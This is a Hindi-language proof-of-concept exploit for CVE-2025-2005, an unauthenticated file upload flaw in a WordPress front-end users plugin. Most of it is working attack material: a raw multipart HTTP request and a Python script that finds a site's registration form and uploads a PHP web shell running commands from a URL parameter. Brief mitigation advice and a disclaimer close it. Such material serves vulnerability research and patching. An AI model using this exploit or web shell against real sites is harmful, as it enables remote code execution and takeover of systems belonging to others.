
CVE-2025-2005 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो WordPress Front-End Users Plugin (<=3.2.32) में एक मनमाना फ़ाइल अपलोड भेद्यता है। इसमें बिना प्रमाणीकरण वाले पंजीकरण फ़ॉर्म पर PHP वेब शेल अपलोड करने के लिए मैनुअल HTTP और Python एक्सप्लॉइट स्क्रिप्ट शामिल हैं।
द्वारा h4ckxel
यह एक्सप्लॉइट प्लगइन के रजिस्ट्रेशन फॉर्म में फ़ाइल अपलोड की कमजोर वैलिडेशन से बच निकलता है। न तो एक्सटेंशन फ़िल्टर हैं, न प्रमाणीकरण जाँच, और न ही फ़ाइल प्रकार का सैनिटाइज़ेशन। एक हमलावर किसी भी रजिस्ट्रेशन फॉर्म पर multipart/form-data रिक्वेस्ट भेजकर एक कस्टम फ़ील्ड (जैसे xxploit) में दुर्भावनापूर्ण .php फ़ाइल घुसा सकता है।
हालाँकि अपलोड की गई फ़ाइलें नाम में रैंडम हैश के साथ wp-content/uploads/ewd_feup_uploads/ में चली जाती हैं, फिर भी यदि उस डायरेक्टरी में PHP सक्षम है तो वे निष्पादन योग्य बनी रहती हैं।
POST /wordpress/2025/04/02/test/ HTTP/1.1
Host: 192.168.100.74:888
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-check"
14bacb882cb211e10b2b3e07bfe096ef12a092dc
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-time"
1743554029
------WebKitFormBoundary
Content-Disposition: form-data; name="ewd-feup-action"
register
------WebKitFormBoundary
Content-Disposition: form-data; name="Username"
Nxploited
------WebKitFormBoundary
Content-Disposition: form-data; name="xxploit"; filename="shell.php"
Content-Type: application/x-php
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
------WebKitFormBoundary--
फ़ाइल यहाँ सेव होती है:
/wp-content/uploads/ewd_feup_uploads/[HASH_ALEATORIO].php
नाम बदल जाता है, लेकिन इसे मैन्युअल रूप से या स्कैनर की मदद से खोजा जा सकता है।
import requests
from bs4 import BeautifulSoup
import argparse
from urllib.parse import urljoin
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
parser = argparse.ArgumentParser(description="Upload shell to vulnerable WordPress Front-End Users Plugin")
parser.add_argument("--url", "-u", required=True, help="URL base del sitio target (ej. http://site.com/)")
parser.add_argument("--newuser", "-nu", required=True, help="Usuario para registrar")
parser.add_argument("--newpassword", "-np", required=True, help="Password del nuevo usuario")
args = parser.parse_args()
base_url = args.url.rstrip("/")
username = args.newuser
password = args.newpassword
print(f"[*] Scaneando: {base_url}")
try:
response = session.get(base_url, timeout=10)
soup = BeautifulSoup(response.text, 'html.parser')
except Exception as e:
print("[-] Error al acceder al sitio.")
exit()
page_links = {urljoin(base_url, a['href']) for a in soup.find_all("a", href=True)}
print(f"[*] {len(page_links)} páginas encontradas...")
registration_url = None
for link in page_links:
try:
page = session.get(link, timeout=10)
if "ewd-feup-register-form" in page.text:
registration_url = link
print(f"[+] Form de registro encontrado en: {registration_url}")
break
except:
continue
if not registration_url:
print("[-] No se encontró el form automáticamente. Intenta manualmente con --url.")
exit()
shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"
data = {
'ewd-feup-action': 'register',
'Username': username,
'User_Password': password,
'Confirm_User_Password': password,
'Register_Submit': 'Register'
}
files = {'file': ('shell.php', shell_content, 'application/x-php')}
print("[*] Subiendo shell a:", registration_url)
upload_response = session.post(registration_url, data=data, files=files)
if upload_response.status_code == 200:
print("[+] Upload completado.")
else:
print("[-] Falló la subida.")
प्लगइन को नवीनतम सुरक्षित संस्करण (यदि मौजूद है) में अपडेट करें, या यदि कोई पैच उपलब्ध नहीं है तो इसे अस्थायी रूप से निष्क्रिय कर दें। इसके अलावा:
wp-content/uploads/ में PHP निष्पादन ब्लॉक करें।यह PoC केवल शिक्षा और अधिकृत सुरक्षा परीक्षण के लिए है। लैमर मत बनो, इसका उपयोग जिम्मेदारी से और केवल उन्हीं वातावरणों में करें जहाँ आपके पास अनुमति हो।